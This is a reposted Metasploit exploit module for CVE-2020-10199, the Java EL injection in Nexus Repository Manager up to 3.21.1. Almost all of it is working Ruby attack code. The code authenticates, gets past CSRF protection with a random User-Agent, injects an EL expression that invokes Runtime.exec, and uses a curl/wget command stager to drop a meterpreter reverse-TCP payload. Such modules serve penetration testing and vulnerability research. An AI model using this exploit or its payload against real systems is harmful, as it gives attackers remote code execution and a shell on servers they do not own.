Nexus Repository Manager – Java EL Injection RCE (Metasploit)

• Exploit Database
• 15 阅读

• 作者： Metasploit
  日期： 2020-04-17
• 类别：

  • remote
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/48343/

• ##
  # This module requires Metasploit: https://metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  class MetasploitModule < Msf::Exploit::Remote
  
  Rank = ExcellentRanking
  
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::CmdStager
  
  def initialize(info = {})
  super(update_info(info,
  'Name'=> 'Nexus Repository Manager Java EL Injection RCE',
  'Description' => %q{
  This module exploits a Java Expression Language (EL) injection in Nexus
  Repository Manager versions up to and including 3.21.1 to execute code
  as the Nexus user.
  
  This is a post-authentication vulnerability, so credentials are required
  to exploit the bug. Any user regardless of privilege level may be used.
  
  Tested against 3.21.1-01.
  },
  'Author'=> [
  'Alvaro Muñoz', # Discovery
  'wvu' # Module
  ],
  'References'=> [
  ['CVE', '2020-10199'],
  ['URL', 'https://securitylab.github.com/advisories/GHSL-2020-011-nxrm-sonatype'],
  ['URL', 'https://support.sonatype.com/hc/en-us/articles/360044882533-CVE-2020-10199-Nexus-Repository-Manager-3-Remote-Code-Execution-2020-03-31']
  ],
  'DisclosureDate'=> '2020-03-31', # Vendor advisory
  'License' => MSF_LICENSE,
  'Platform'=> 'linux',
  'Arch'=> [ARCH_X86, ARCH_X64],
  'Privileged'=> false,
  'Targets' => [['Nexus Repository Manager <= 3.21.1', {}]],
  'DefaultTarget' => 0,
  'DefaultOptions'=> {'PAYLOAD' => 'linux/x64/meterpreter_reverse_tcp'},
  'CmdStagerFlavor' => %i[curl wget],
  'Notes' => {
  'Stability' => [CRASH_SAFE],
  'Reliability' => [REPEATABLE_SESSION],
  'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
  }
  ))
  
  register_options([
  Opt::RPORT(8081),
  OptString.new('TARGETURI', [true, 'Base path', '/']),
  OptString.new('USERNAME',[true, 'Nexus username', 'admin']),
  OptString.new('PASSWORD',[true, 'Nexus password'])
  ])
  end
  
  def post_auth?
  # Pre-auth RCE? https://twitter.com/iamnoooob/status/1246182773427240967
  true
  end
  
  # Send a GET / request to the server, check the response for a Server header
  # containing the Nexus version, and then check if it's a vulnerable version
  def check
  res = send_request_cgi(
  'method' => 'GET',
  'uri'=> normalize_uri(target_uri.path)
  )
  
  unless res
  return CheckCode::Unknown('Target did not respond to check request.')
  end
  
  unless res.headers['Server']
  return CheckCode::Unknown('Target did not respond with Server header.')
  end
  
  # Example Server header:
  # Server: Nexus/3.21.1-01 (OSS)
  version = res.headers['Server'].scan(%r{^Nexus/([\d.-]+)}).flatten.first
  
  unless version
  return CheckCode::Unknown('Target did not respond with Nexus version.')
  end
  
  if Gem::Version.new(version) <= Gem::Version.new('3.21.1')
  return CheckCode::Appears("Nexus #{version} is a vulnerable version.")
  end
  
  CheckCode::Safe("Nexus #{version} is NOT a vulnerable version.")
  end
  
  def exploit
  # NOTE: Automatic check is implemented by the AutoCheck mixin
  super
  
  print_status("Executing command stager for #{datastore['PAYLOAD']}")
  
  # This will drop a binary payload to disk and execute it!
  execute_cmdstager(
  noconcat: true,
  cookie: login(datastore['USERNAME'], datastore['PASSWORD'])
  )
  end
  
  def login(username, password)
  print_status("Logging in with #{username}:#{password}")
  
  res = send_request_cgi({
  'method' => 'POST',
  'uri'=> normalize_uri(target_uri.path,
  '/service/rapture/session'),
  'vars_post'=> {
  'username' => Rex::Text.encode_base64(username),
  'password' => Rex::Text.encode_base64(password)
  },
  'partial'=> true # XXX: Return partial response despite timeout
  }, 3.5)
  
  unless res
  fail_with(Failure::Unknown, 'Target did not respond to login request')
  end
  
  cookie = res.get_cookies
  
  unless res.code == 204 && cookie.match(/NXSESSIONID=[\h-]+/)
  fail_with(Failure::NoAccess, 'Could not log in with specified creds')
  end
  
  print_good("Logged in with #{cookie}")
  cookie
  end
  
  # This is defined so that CmdStager can use it!
  def execute_command(cmd, opts = {})
  vprint_status("Executing command: #{cmd}")
  
  res = send_request_cgi(
  'method' => 'POST',
  'uri'=> normalize_uri(target_uri.path,
  '/service/rest/beta/repositories/go/group'),
  # HACK: Bypass CSRF token with random User-Agent header
  'agent'=> rand_text_english(8..42),
  'cookie' => opts[:cookie],
  'ctype'=> 'application/json',
  'data' => json_payload(cmd)
  )
  
  unless res
  fail_with(Failure::Unknown, 'Target did not respond to payload request')
  end
  
  unless res.code == 400 && res.body.match(/java\.lang\.UNIXProcess@\h+/)
  fail_with(Failure::PayloadFailed, "Could not execute command: #{cmd}")
  end
  
  print_good("Successfully executed command: #{cmd}")
  end
  
  # PoC based off API docs for /service/rest/beta/repositories/go/group:
  # http://localhost:8081/#admin/system/api
  def json_payload(cmd)
  {
  'name'=> 'internal',
  'online'=> true,
  'storage' => {
  'blobStoreName' => 'default',
  'strictContentTypeValidation' => true
  },
  'group' => {
  # XXX: memberNames has to be an array, but the API example was a string
  'memberNames' => [el_payload(cmd)]
  }
  }.to_json
  end
  
  # Helpful resource from which I borrowed the EL payload:
  # https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf
  def el_payload(cmd)
  # HACK: Format our EL expression nicely and then strip introduced whitespace
  el = <<~EOF.gsub(/\s+/, '')
  ${
  "".getClass().forName("java.lang.Runtime").getMethods()[6].invoke(
  "".getClass().forName("java.lang.Runtime")
  ).exec("PATCH_ME")
  }
  EOF
  
  # Patch in our command, escaping any double quotes
  el.sub('PATCH_ME', cmd.gsub('"', '\\"'))
  end
  
  end